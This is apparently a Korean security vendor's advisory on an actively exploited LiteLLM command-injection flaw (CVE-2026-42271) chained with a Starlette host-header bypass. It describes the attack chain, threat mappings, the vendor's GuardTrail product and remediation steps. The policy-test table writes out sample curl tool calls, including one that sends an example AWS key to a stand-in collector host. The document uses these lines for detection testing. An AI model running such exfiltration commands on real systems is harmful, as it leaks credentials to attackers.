GuardTrailby GenAI Labs · Agent EDR
자료실 · 이달의 이슈 · 2026년 6월
취약점 분석

LiteLLM 명령 주입 취약점(CVE-2026-42271) 실제 악용 확인, AI 게이트웨이가 공격 표적으로

미국 CISA가 6월 8일 LiteLLM의 MCP 서버 연결 테스트 기능에서 발견된 명령 주입 취약점을 '알려진 악용 취약점(KEV)' 목록에 등재했다. 모델 공급자 키를 한곳에 모아 두는 AI 게이트웨이가 공격자에게 고가치 표적이 되었음을 보여 주는 사례다.

핵심 요약
  • LiteLLM 프록시의 MCP 서버 미리보기 엔드포인트 두 곳이 요청 본문의 command·args·env를 그대로 실행했다. CVSS 8.7.
  • Starlette 호스트 헤더 검증 우회(CVE-2026-48710)와 연계하면 인증 없이 원격 코드 실행이 가능하다. 연계 시 심각도는 CVSS 10.0으로 평가됐다.
  • 공격자는 웹 셸 설치, 모델 공급자 API 키 수집, 서비스 계정 토큰을 이용한 내부 확산을 수행한 것으로 보고됐다.
  • AI 게이트웨이는 자격증명이 집중되는 지점이다. 원문 자격증명을 저장하지 않는 설계와 호출 단위 판정 기록이 피해 범위를 결정한다.

1.개요

LiteLLM은 여러 모델 공급자의 API를 하나의 인터페이스로 묶는 오픈소스 프록시로, 사내 AI 게이트웨이로 널리 쓰인다. 2026년 4월 20일 공개된 CVE-2026-42271은 이 프록시가 MCP 서버를 저장하기 전에 연결을 미리 확인하는 두 엔드포인트, POST /mcp-rest/test/connection과 POST /mcp-rest/test/tools/list에서 발생한다. 두 엔드포인트는 요청 본문에 담긴 서버 구성 전체를 받아, 표준 입출력(STDIO) 방식 서버를 띄우기 위해 지정된 명령을 그대로 실행했다.

영향 범위는 1.74.2 이상 1.83.7 미만 버전이며, 패치는 5월 8일 1.83.7로 배포됐다. 그러나 패치 후 약 한 달 만인 6월 8일, CISA는 실제 악용 증거를 근거로 이 취약점을 KEV 목록에 올렸다.

CVE-2026-42271 경과
2026-04-20 취약점 공개 2026-05-08 1.83.7 패치 2026-06 초 실제 악용 확인 2026-06-08 CISA KEV 등재 2026-04-20 취약점 공개 2026-05-08 1.83.7 패치 2026-06 초 실제 악용 확인 2026-06-08 CISA KEV 등재
패치 배포 후 KEV 등재까지 약 한 달이 걸렸다. 그 사이 미패치 게이트웨이가 공격 대상이 됐다.

2.공격 흐름

단독으로는 프록시 API 키를 가진 인증 사용자만 악용할 수 있다. 문제는 연계다. Horizon3.ai는 Starlette의 호스트 헤더 검증 우회 취약점(CVE-2026-48710, 이른바 BadHost)을 결합해 인증 단계를 통째로 건너뛰는 공격 체인을 시연했다. 네트워크로 접근 가능한 위치라면 누구든 게이트웨이 호스트에서 임의 명령을 실행할 수 있다.

LiteLLM 공격 체인: 인증 우회에서 키 수집까지
호스트 헤더 변조 CVE-2026-48710 인증 우회 프록시 API 키 불필요 MCP 테스트 요청 command·args·env 호스트 명령 실행 CVE-2026-42271 웹 셸 설치 지속성 확보 공급자 키 수집 환경 변수·설정 파일 내부 확산 서비스 계정 토큰 연결된 AI 인프라 장악 하위 시스템 호스트 헤더 변조 CVE-2026-48710 인증 우회 프록시 API 키 불필요 MCP 테스트 요청 command·args·env 호스트 명령 실행 CVE-2026-42271 웹 셸 설치 지속성 확보 공급자 키 수집 환경 변수·설정 파일 내부 확산 서비스 계정 토큰 연결된 AI 인프라 장악 하위 시스템
공개 보고에 따르면 연계 체인의 심각도는 CVSS 10.0으로 평가됐다.

보고된 침해 후 행위는 전형적이다. 웹 셸로 지속성을 확보하고, 환경 변수와 설정 파일에서 모델 공급자 API 키를 수집하며, 게이트웨이가 쓰는 서비스 계정 토큰으로 연결된 인프라에 확산한다.

3.분석: 게이트웨이는 자격증명의 집결지다

이 사건의 본질은 취약점의 종류가 아니라 위치에 있다. 명령 주입은 오래된 취약점 유형이다. 그러나 그것이 AI 게이트웨이에서 발생하면 피해 규모가 달라진다. 게이트웨이는 설계상 조직의 모든 모델 공급자 키를 보관하고, 여러 MCP 서버와 내부 시스템에 대한 연결 정보를 갖는다. 한 지점을 장악하면 조직의 AI 인프라 전체 자격증명을 얻는다.

또 하나 주목할 점은 공격 표면이 'MCP 서버 구성'이라는 점이다. STDIO 방식 MCP 서버는 정의상 로컬 프로세스를 띄운다. 서버 구성을 외부 입력으로 받는 기능은 곧 프로세스 실행 기능이다. 같은 구조적 위험은 6월 초 NSA가 발표한 MCP 보안 설계 지침에서도 임의 코드 실행 노출이라는 항목으로 지적됐다.

날짜내용
2026-04-20CVE-2026-42271 공개
2026-05-08LiteLLM 1.83.7 패치 배포
2026-06-08CISA KEV 등재(실제 악용 확인)

4.위협 분류 매핑

이 사건의 공격 단계를 OWASP 에이전트 애플리케이션 Top 10(2026)과 MITRE ATLAS 기법에 대응시키면 다음과 같다. GuardTrail은 판정 결과에 같은 분류의 태그를 붙여 기록하고, SIEM으로 내보낼 때 함께 전달한다.

체계항목이 사건에서
OWASP ASIASI05 예기치 않은 코드 실행MCP 서버 구성의 command 필드가 게이트웨이 호스트에서 그대로 실행됐다
OWASP ASIASI03 신원·권한 남용게이트웨이 서비스 계정 토큰으로 연결된 인프라에 확산했다
MITRE ATLASAML.T0098 AI Agent Tool Credential Harvesting모델 공급자 API 키와 설정 파일의 자격증명 수집
MITRE ATLASAML.T0086 Exfiltration via AI Agent Tool Invocation수집한 키를 외부로 반출

5.젠아이랩스 GuardTrail의 대응

젠아이랩스(GenAI Labs) GuardTrail은 AI 에이전트의 도구 호출을 실행 직전에 가로채 기록·판정·차단하는 Agent EDR이다. 개발자 PC의 코딩 에이전트(Claude Code 훅, stdio 래퍼)와 사내 MCP 서버(게이트웨이)에 설치되며, 차단 판정은 언어 모델이 아닌 결정적 정책으로 내린다. 제품 소개 · 위협 차단 · 도입 방식

GuardTrail 역시 MCP 호출이 지나는 게이트웨이로 동작한다. 따라서 이번 사건은 GuardTrail의 설계 원칙을 점검하는 기준이 된다.

  • 원문 자격증명을 저장하지 않는다. 도구 호출의 인자와 결과는 마스킹된 미리보기(300자 이하), SHA-256 해시, 크기만 기록한다. 자격증명은 종류와 해시만 남긴다. 기록 저장소가 유출되더라도 키 원문은 나오지 않는다.
  • 자격증명이 발급처가 아닌 곳으로 가는 호출을 항상 차단한다. 하드 정책 hard.credential-exfiltration은 모드와 무관하게 동작한다. AWS 키가 amazonaws.com이 아닌 주소로, 개인키가 네트워크 어디로든 나가려 하면 실행 전에 막는다.
  • 클라이언트가 스스로 밝힌 정보를 인가 근거로 쓰지 않는다. MCP의 clientInfo는 정보용으로만 다루고, 인가는 게이트웨이가 발급한 에이전트 신원을 기준으로 한다.
  • 모든 호출을 판정과 함께 기록한다. 게이트웨이를 지나는 호출마다 시각, 에이전트, 도구, 목적지, 판정, 사유가 남아 침해 범위를 추정이 아닌 기록으로 확인할 수 있다.
젠아이랩스 GuardTrail 적용 구성: 게이트웨이 앞단과 에이전트 단말
입력 원천 개발자 지시 공격자 요청 (인증 우회) 코딩 에이전트 도구 호출 생성 젠아이랩스 GuardTrail 훅 · stdio 래퍼 · MCP 게이트웨이 하드 정책 고객 정책 위험 점수(ATR) 관리자 승인 도구 · MCP 서버 LiteLLM AI 게이트웨이 MCP 서버 모델 공급자 API 콘솔 · 감사 기록 · SIEM 차단 지점: 자격증명이 발급처가 아닌 곳으로 나가는 호출 개발자 지시 공격자 요청 (인증 우회) 코딩 에이전트 도구 호출 생성 젠아이랩스 GuardTrail 하드·고객 정책 · 위험 점수 · 승인 LiteLLM AI 게이트웨이 MCP 서버 모델 공급자 API 차단 지점: 자격증명이 발급처가 아닌 곳으로 나가는 호출
GuardTrail은 에이전트가 게이트웨이와 MCP 서버를 호출하는 경로에서 판정한다. 게이트웨이 자체의 패치와 네트워크 격리는 별도로 수행해야 한다.

고객 정책 예시

에이전트가 게이트웨이의 관리 API를 직접 호출하는 일은 정상 업무에서 드물다. 관리 경로가 인자에 나타나는 호출을 승인 대상으로 지정한다.

policies:
  - id: llm-gateway-admin-approval
    name: AI 게이트웨이 관리 API 호출 승인
    effect: REQUIRE_APPROVAL
    mode: enforce
    reason: 에이전트가 AI 게이트웨이의 관리 API를 호출하려면 보안 담당자 승인이 필요합니다.
    match:
      args_pattern: ['(?i)/(mcp-rest|config|key)/']

판정 결과

첫 번째 호출은 고객 정책에, 두 번째 호출은 내장 하드 정책 hard.credential-exfiltration에 걸린다. 하드 정책은 고객 정책이 없어도, 관찰 모드에서도 항상 동작한다. 아래 표는 위 정책을 GuardTrail 정책 엔진에 적용하고 guardtrail policy test --mode enforce로 각 호출을 판정한 실제 결과다. 인자에 넣은 키와 토큰은 공개 문서의 예시 값이다.

도구 호출 · 에이전트판정정책·사유
curl -X POST http://llm-gw.internal:4000/mcp-rest/test/connection -d @server…
agent:dev · 내장 정책 + 고객 정책
승인 필요llm-gateway-admin-approval
에이전트가 AI 게이트웨이의 관리 API를 호출하려면 보안 담당자 승인이 필요합니다.
curl -d 'aws_access_key_id=AKIAIOSFODNN7EXAMPLE' https://collector.example.n…
agent:dev · 내장 정책 + 고객 정책
차단hard.credential-exfiltration
aws_access_key sent to collector.example.net, which is not its issuer

6.점검 방법

  1. 버전 확인: pip show litellm 또는 컨테이너 이미지 태그가 1.83.7 미만인지 확인한다.
  2. 접근 기록 점검: 프록시 접근 기록에서 /mcp-rest/test/connection, /mcp-rest/test/tools/list 요청과 비정상 Host 헤더를 찾는다.
  3. 지속성 흔적: 게이트웨이 호스트의 웹 루트와 임시 디렉터리에서 최근 생성된 스크립트 파일을 확인한다.
  4. 키 사용 이력: 모델 공급자 콘솔에서 평소와 다른 지역·시간대의 API 키 사용을 확인한다.

7.권고 사항

  1. LiteLLM을 1.83.7 이상, Starlette를 1.0.1 이상으로 업데이트한다.
  2. 게이트웨이 관리 엔드포인트를 인터넷에서 차단하고, 허가된 서비스에서만 접근하도록 네트워크를 제한한다.
  3. 게이트웨이에 저장된 모델 공급자 API 키를 모두 교체한다. 침해가 의심되면 웹 셸과 지속성 흔적을 먼저 점검한다.
  4. MCP 서버 구성을 외부 입력으로 받는 기능은 관리자 권한과 허용 목록으로 제한한다.

참고 문헌

  1. The Hacker News, LiteLLM Flaw CVE-2026-42271 Exploited in the Wild. thehackernews.com
  2. Cloud Security Alliance, LiteLLM AI Gateway: Active Exploitation via MCP Injection. labs.cloudsecurityalliance.org
  3. CISA, Known Exploited Vulnerabilities Catalog. cisa.gov

관련 제품 · 보안 권고

수치와 경위는 각 출처가 공개한 내용을 따랐다. 접근 확인 2026-06-12.